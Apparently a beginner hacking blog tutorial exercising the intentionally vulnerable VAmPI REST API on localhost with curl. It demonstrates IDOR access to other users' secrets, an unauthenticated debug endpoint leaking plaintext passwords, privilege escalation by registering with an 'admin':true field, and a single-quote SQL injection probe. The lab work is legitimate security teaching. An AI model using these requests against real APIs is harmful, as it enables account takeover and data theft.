Basics

This is yet another article for beginners in hacking. In this article, I will cover some vulnerabilities found while testing APIs.  All of these vulnerabilities I am gonna show you in this article are the actual vulnerabilities which you can find on the live websites on the internet. For demonstration, I am going to use this really awesome vulnerable REST API built-in Python by the .

RESTful API is an interface that two computer systems use to exchange information securely over the internet. Most business applications have to communicate with other internal and third-party applications to perform various tasks. In simple words, you can request something to the REST API, for example, user details with some parameters (username). you can even use the API to submit some data. for example, you can implement the whole login/register functionality of a website with API.

VAmPI

VAmPI is easy to set up. you can either use it on your local system or you can build its docker image.

git clone https://github.com/erev0s/VAmPI cd VAmPI

so, in order to use it directly without any docker image, you will need to install some of the python requirements. once you fulfil all the requirements of VAmPI, you can run it.

pip3 install -r requirements.txt
python3 app.py

By default, it runs on port `5000`. but you can change it in the app.py.

And if you want to use a docker here, you can run the following commands

docker build -t vampi_docker:latest .
docker run -d -p 5000:5000 vampi_docker:latest

Now that you have set it up already, we will go to the /ui endpoint to see the swagger API web interface.

We will see the requirements (for required headers and all) for all the APIs and will manually form a request with curl in our beautiful terminal. so, the first endpoint is `/` (VAmPI Home) which returns two strings in JSON format.

07:36:25 root@kali-lucky ~ → curl http://127.0.0.1:5000
{ "message": "VAmPI the Vulnerable API", "Help": "VAmPI is a vulnerable on purpose API. It was created in order to evaluate the efficiency of third party tools in identifying vulnerabilities in APIs but it can also be used in learning/teaching purposes." }

moving on to the next endpoint `/books/v1` which is another GET parameter and it returns all the books along with a username.

07:36:33 root@kali-lucky ~ → curl http://127.0.0.1:5000/books/v1
{
  "Books": [
    {
      "book_title": "bookTitle16", 
      "user": "name1"
    }, 
    {
      "book_title": "bookTitle97", 
      "user": "name2"
    }, 
    {
      "book_title": "bookTitle22", 
      "user": "admin"
    }
  ]
}

Till now, I don’t see any misconfiguration or any bug here in any endpoint. but the next one has some kind of IDOR vulnerability.

the description says `Retrieves book by title along with secret. Only the owner may retrieve it`. But first, we will require a JWT token to authenticate with the API. so, we will POST request an endpoint `/user/v1/register`:

07:57:11 root@kali-lucky ~ → curl http://127.0.0.1:5000/users/v1/register -d '{"email":"[email protected]","username":"kingping","password":"kingping"}' -H 'Content-Type: application/json'
{"message": "Successfully registered. Login to receive an auth token.", "status": "success"}

It says login to receive an auth token, so we will be by requesting `/users/v1/login`

07:57:35 root@kali-lucky ~ → curl http://127.0.0.1:5000/users/v1/login -d '{"username":"kingping","password":"kingping"}' -H 'Content-Type: application/json'
{"auth_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NTcwODE2NTMsImlhdCI6MTY1NzA4MTU5Mywic3ViIjoia2luZ3BpbmcifQ.WxLCrMMRYKpn9KCgD-HUfa9ST0HBI65H4T-OAoidJCU", "message": "Successfully logged in.", "status": "success"}

I will copy my auth token and will use it with the Authentication

09:56:41 root@kali-lucky ~ → curl http://127.0.0.1:5000/books/v1/bookTitle16 -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NTcwODE2NTMsImlhdCI6MTY1NzA4MTU5Mywic3ViIjoia2luZ3BpbmcifQ.WxLCrMMRYKpn9KCgD-HUfa9ST0HBI65H4T-OAoidJCU'
{"book_title": "bookTitle16", "owner": "name1", "secret": "secret for bookTitle16"}

The bug here is that any authenticated user can view any book details (including `secret`).

there is another similar kind of IDOR bug in endpoint `/users/v1`

10:04:47 root@kali-lucky ~ → curl http://127.0.0.1:5000/users/v1
{
  "users": [
    {
      "email": "[email protected]", 
      "username": "name1"
    }, 
    {
      "email": "[email protected]", 
      "username": "name2"
    }, 
    {
      "email": "[email protected]", 
      "username": "admin"
    }, 
    {
      "email": "[email protected]", 
      "username": "kingping"
    }
  ]
}

As you can see, this endpoint doesn’t require any authentication while it should if you really care about the user’s info. If it has authentication It would have checked Authorization Header in the request. It gets worse when you can even see the password of any user without any authentication.                                (endpoint `/users/v1/_debug`)

10:04:48 root@kali-lucky ~ → curl http://localhost:5000/users/v1/_debug
{
  "users": [
    {
      "admin": false, 
      "email": "[email protected]", 
      "password": "pass1", 
      "username": "name1"
    }, 
    {
      "admin": false, 
      "email": "[email protected]", 
      "password": "pass2", 
      "username": "name2"
    }, 
    {
      "admin": true, 
      "email": "[email protected]", 
      "password": "pass1", 
      "username": "admin"
    }, 
    {
      "admin": false, 
      "email": "[email protected]", 
      "password": "kingping", 
      "username": "kingping"
    }
  ]
}

There is an endpoint (`users/v1/<username>`) which lets you delete with DELETE HTTP request the user if you are authorized as an admin. And I found this bug while registering for a user. If you would pass admin value along with creds, you can be the admin by setting it to `true`.

10:21:53 root@kali-lucky ~ → curl http://127.0.0.1:5000/users/v1/register -d '{"email":"[email protected]","username":"kingping2","password":"kingping", "admin":true}' -H 'Content-Type: application/json'
{"message": "Successfully registered. Login to receive an auth token.", "status": "success"}

And now you can see it on `/users/v1/_debug`

10:22:15 root@kali-lucky ~ → curl http://127.0.0.1:5000/users/v1/_debug 
{
  "users": [
    {
      "admin": false, 
      "email": "[email protected]", 
      "password": "pass1", 
      "username": "name1"
    }, 
    {
      "admin": false, 
      "email": "[email protected]", 
      "password": "pass2", 
      "username": "name2"
    }, 
    {
      "admin": true, 
      "email": "[email protected]", 
      "password": "pass1", 
      "username": "admin"
    }, 
    {
      "admin": false, 
      "email": "[email protected]", 
      "password": "kingping", 
      "username": "kingping"
    }, 
    {
      "admin": true, 
      "email": "[email protected]", 
      "password": "kingping", 
      "username": "kingping2"
    }
  ]
}

Now we can delete any user we want using the token of kingping2 user.

There is one more critical vulnerability I wanna show you. I found SQL injection in this endpoint
`/users/v1/<username>`

11:53:50 root@kali-lucky ~ → curl http://127.0.0.1:5000/users/v1/kingping2
{"username": "kingping2", "email": "[email protected]"}

But if you use a single quote in the name, you will  see something like this:

curl http://127.0.0.1:5000/users/v1/kingping2
...
... 
 File "/usr/lib/python3/dist-packages/sqlalchemy/orm/session.py", line 1692, in execute
    result = conn._execute_20(statement, params or {}, execution_options)
  File "/usr/lib/python3/dist-packages/sqlalchemy/engine/base.py", line 1614, in _execute_20
    return meth(self, args_10style, kwargs_10style, execution_options)
  File "/usr/lib/python3/dist-packages/sqlalchemy/sql/elements.py", line 325, in _execute_on_connection
    return connection._execute_clauseelement(
  File "/usr/lib/python3/dist-packages/sqlalchemy/engine/base.py", line 1481, in _execute_clauseelement
    ret = self._execute_context(
  File "/usr/lib/python3/dist-packages/sqlalchemy/engine/base.py", line 1845, in _execute_context
    self._handle_dbapi_exception(
  File "/usr/lib/python3/dist-packages/sqlalchemy/engine/base.py", line 2026, in _handle_dbapi_exception
    util.raise_(
  File "/usr/lib/python3/dist-packages/sqlalchemy/util/compat.py", line 207, in raise_
    raise exception
  File "/usr/lib/python3/dist-packages/sqlalchemy/engine/base.py", line 1802, in _execute_context
    self.dialect.do_execute(
  File "/usr/lib/python3/dist-packages/sqlalchemy/engine/default.py", line 732, in do_execute
    cursor.execute(statement, parameters)
sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) unrecognized token: "'kingping2''"
[SQL: SELECT * FROM users WHERE username = 'kingping2'']
(Background on this error at: https://sqlalche.me/e/14/e3q8)

-->

it shows that the query running on the backend  is `SELECT * FROM users WHERE username = 'kingping2''`  which means that the endpoint is not being sanitized before passing it to SQL. You can now further escalate it to dump other tables and columns

 

LEAVE A REPLY

Please enter your comment!
Please enter your name here